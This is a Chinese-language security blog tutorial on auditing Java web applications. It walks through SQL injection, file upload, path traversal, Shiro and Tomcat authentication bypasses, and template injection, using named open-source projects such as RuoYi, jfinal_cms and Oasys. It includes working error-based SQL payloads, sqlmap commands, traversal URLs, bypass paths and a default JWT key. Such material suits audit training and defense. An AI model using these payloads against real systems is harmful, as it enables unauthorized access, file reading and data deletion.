java基础漏洞代码审计

admin
昨天发布

java基础漏洞代码审计

图片[1] - java基础漏洞代码审计 - Yu4xr安全博客

图片[2] - java基础漏洞代码审计 - Yu4xr安全博客

配置信息了解

查看配置文件:

├── pom.xml                         # Maven项目配置主要是组件的版本信息
├── src/main/resources/conf(这个目录可以没有)/*.properties# 
主配置目录,一些组件的配置的信息入mybatis,shiro,log4j,springboot(application.propreties有数据库的配置信息还有启动路劲端口信息,日志配置信息)
├── src/main/resources/templates 模板文件
├── src/main/resources/mappers  mybatis的xml文件,主要用于定义sql语句。


├── src/main/java/包名(cn.gson.oasys)/controller 处理http请求
├── src/main/java/包名(cn.gson.oasys)/services  具体功能的逻辑代码的实现
├── src/main/java/包名(cn.gson.oasys)/model  定义处理数据类型
├── src/main/java/包名(cn.gson.oasys)/common 公共资源
                                        ├── formValid/   # 表单验证相关
                                        └── Interceptor/ # 请求拦截器
└── src/main/webapp/WEB-INF/      # Web配置
    └── web.xml                   # Web主配置  Web 应用的主要配置文件,定义了应用的Servlet、过滤器、监听器

sql注入

1.jdbc

字符串拼接: + 号拼接,StringBuilder.append(),String.concat()

搜append(,concat(

2.mybtis

mybatis定义sql语句的地方位于 /mapper/*.xml文件中

安全写法:使用#{} (预编译参数)

不安全写法使用${}

${

3.容易产生注入的地方

不能使用预编译容易产生sql注入的地方:1.模糊查询like语句后面,2.order by排序 ,3.IN子句,4.HAVING子句

这些后面进行sql注入可能会受到限制

这些地方在使用sqlmap的时候可能要使用下面参数

sqlmap --level 5 --risk 3

报错注入payload:

1 and (SELECT updatexml(1,concat(0x7e,(SELECT database()),0x7e),1))
1 and updatexml(1,concat(0x7e,(database()),0x7e),1)
?orderColumn=1 AND EXTRACTVALUE(1040,CONCAT(0x5c,0x7178766b71,(SELECT (ELT(1040=1040,1))),0x717a767871))

4.案例

案例一:jfinal_cms-4.5.0

从pom.xml发现未使用数据库框架采用的mysql搜索append(:在文件中搜索发现多处都存在sql注入

图片[3] - java基础漏洞代码审计 - Yu4xr安全博客

随便点击一个发现/admin/concat/路由对应的list方法存在注入

图片[4] - java基础漏洞代码审计 - Yu4xr安全博客

对应前台的查询功能:

图片[5] - java基础漏洞代码审计 - Yu4xr安全博客

sqlmap梭哈

其他参数也存在sql注入

Parameter: attr.name (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: form.orderColumn=&form.orderAsc=&attr.name=1' AND 7388=(SELECT (CASE WHEN (7388=7388) THEN 7388 ELSE (SELECT 2007 UNION SELECT 6422) END))-- -&totalRecords=1&pageNo=1&pageSize=20&length=10&orderBy=1'

案例二mybatis:oa_system

从pom.xml中发现了mybatis框架

sql的语句定义在/reSources/mappers/*.xml中,发现不安全写法

图片[6] - java基础漏洞代码审计 - Yu4xr安全博客

从后往前推

${baseKey}->sortMyNotice->sortMyNotice->informListPaging()
${pinyin}->allDirector->outaddresspaging()

路由触发方法/informListPaging,参数basekey

路由触发方法/outaddresspaging,参数alph

python sqlmap.py -r a.txt --batch --risk=3 --level=5

案例三mybatis:RuoYi-v4.6.0

从依赖库中发现了mybatis

图片[7] - java基础漏洞代码审计 - Yu4xr安全博客

发现不安全写法

图片[8] - java基础漏洞代码审计 - Yu4xr安全博客

从后往前推:

${ancestors}->updateDeptStatus->updateParentDeptStatus->updateDept->editSave()

对应功能点部门编辑

图片[9] - java基础漏洞代码审计 - Yu4xr安全博客

触发方法/system/dept/edit 参数:ancestors

图片[10] - java基础漏洞代码审计 - Yu4xr安全博客

文件类的漏洞

// 文件操作
new FileInputStream(
new FileOutputStream(
new File(
FileUtils.
IOUtils.

// 文件上传
MultipartFile
file.getOriginalFilename(
file.transferTo(

// 文件下载
response.setContentType("application/octet-stream")
getFile
download

// 目录操作
.mkdirs(
.createNewFile(

1.优先搜索:

new FileInputStream(

2.案例

案例1-文件上传-Inxedu

图片[11] - java基础漏洞代码审计 - Yu4xr安全博客

对应代码段

图片[12] - java基础漏洞代码审计 - Yu4xr安全博客

上传jspx绕过检测

路由地址:

POST /inxedu_war/image/gok4?fileType=jspx,jpg,gif,png,jpeg&param=temp

图片[13] - java基础漏洞代码审计 - Yu4xr安全博客

案例2-配合过滤器绕过进后台进行上传-Tmall

只要匹配到url包含/admin/login就通过,配合../进行绕过验证

图片[14] - java基础漏洞代码审计 - Yu4xr安全博客

后台存在文件上传

图片[15] - java基础漏洞代码审计 - Yu4xr安全博客

根据路由找到代码段

发现未经过任何过滤

图片[16] - java基础漏洞代码审计 - Yu4xr安全博客

图片[17] - java基础漏洞代码审计 - Yu4xr安全博客

案例3-文件下载-Ruoyi

搜:FileInputStream(

writeBytes->resourceDownload->resource

跟踪出路由:/common/download/resource?resource=/profile/../RuoYi-v4.5.0/ruoyi-admin/src/main/resources/application.yml

图片[18] - java基础漏洞代码审计 - Yu4xr安全博客

必须包含:profile再../绕过

案例4-文件读取-Oasys

搜:new FileInputStream(

image->f.getPath()->path->startpath

图片[19] - java基础漏洞代码审计 - Yu4xr安全博客

检测到2个../../会报错,但是一个../顺利执行,页面源码中对url中"/image"去除,所以可以嵌套../来实现路劲穿越读取flag

?path=/image/../image/../image/../image/../image/../image/../image/../image/../image/flag.txt

未授权访问

图片[20] - java基础漏洞代码审计 - Yu4xr安全博客

1.鉴权方法:

1.Interceptor拦截器

src/main/java/包名/interceptor

2.filter过滤器

src/main/java/包名/filter

3.shiro框架

src/main/resource/**

1.shiro版本自身漏洞绕过

CVE-2020-1957
客户端请求URL: /xxx/..;/admin/
Shrio 内部处理得到校验URL为 /xxxx/..,校验通过
SpringBoot 处理 /xxx/..;/admin/ , 最终请求 /admin/, 成功访问了后台请求。

CVE-2020-11989
客户端请求URL: /;/test/admin/page
Shrio 内部处理得到校验URL为/,校验通过
SpringBoot最终请求 /admin/page, 成功访问了后台请求。

CVE-2020-13933
客户端请求URL:/admin/;page
Shrio 内部处理得到校验URL为/admin/,校验通过
SpringBoot最终请求 /admin/;page, 成功访问了后台请求。

2.shiro配置不当

配置了允许匿名访问

tumo.shiro.anon_url=/comment/**
DELETE /comment/1  任意文件删除

4.jwt

采取默认key

SecretKey012345678901234567890123456789012345678901234567890123456789

2.绕过手法

1.分号;处理

tomcat会自动去除掉;后面的字符比如

/;a.png/admin==/admin
/admin/;.png==/admin
/admin/;.js==/admin
/admin/;.css==/admin

2.斜杆/处理

tomcat会自动处理多余的/比如

/////admin==/admin

3../和../

tomcat会自动处理掉多的./

/;a.png/admin==/admin

4.总结

黑名单绕过以/admin开头可以尝试

/;a.png/admin==/admin
/////admin==/admin
/;a.png/admin==/admin

白名单匹配png,css,js结尾的文件放行可以尝试

/admin/;.png==/admin
/admin/;.js==/admin
/admin/;.css==/admin
/user/list/;.css?search=%7B%22userName%22%3A%22%22%2C%22loginName%22%3A%22%22%7D&currentPage=1&pageSize=10

目录穿越../

/..;abc/实现跨目录,常用在../被禁用的场景下

白名单检测url中有js/css/png/login.html放行,则可以尝试目录穿越

/a.js/../account/getAccount
/index.html/../account/getAccount

3.案例

案例一:NewbeeMall使用Interceptor拦截器进行身份认证

图片[21] - java基础漏洞代码审计 - Yu4xr安全博客

直接绕过:/admin/;.js

图片[22] - java基础漏洞代码审计 - Yu4xr安全博客

使用Filter过滤器进行鉴权

案例二:华夏ERP-使用过滤器进行鉴权

图片[23] - java基础漏洞代码审计 - Yu4xr安全博客

url中包含login.html,register.html就通过

图片[24] - java基础漏洞代码审计 - Yu4xr安全博客

案例三-Tumo-Shiro做验证

shiro配置不当

tumo.shiro.anon_url=\
  /login,/logout,/register,\
  /,/about,/p/**,/links,/comment/**,/link/list,/article/list,\
  /css/**,/js/**,/img/**

可以访问/comment及comment后面任意路径如/comment/1

图片[25] - java基础漏洞代码审计 - Yu4xr安全博客

delete方法删除

图片[26] - java基础漏洞代码审计 - Yu4xr安全博客

ssti模板注入

图片[27] - java基础漏洞代码审计 - Yu4xr安全博客

对应功能点:模板管理

利用条件:可控变量(传参,sql注入)

利用poc:https://github.com/vladko312/SSTImap

JavaEE审计-CheckList

https://mp.weixin.qq.com/s/Y90mGgCqzjj0T1NX9E5wDw
https://mp.weixin.qq.com/s/COXCjMItvrcOCNcqEfbmDg
© 版权声明
THE END
喜欢就支持一下吧
点赞 2 分享 收藏
评论 抢沙发
取消
易航博客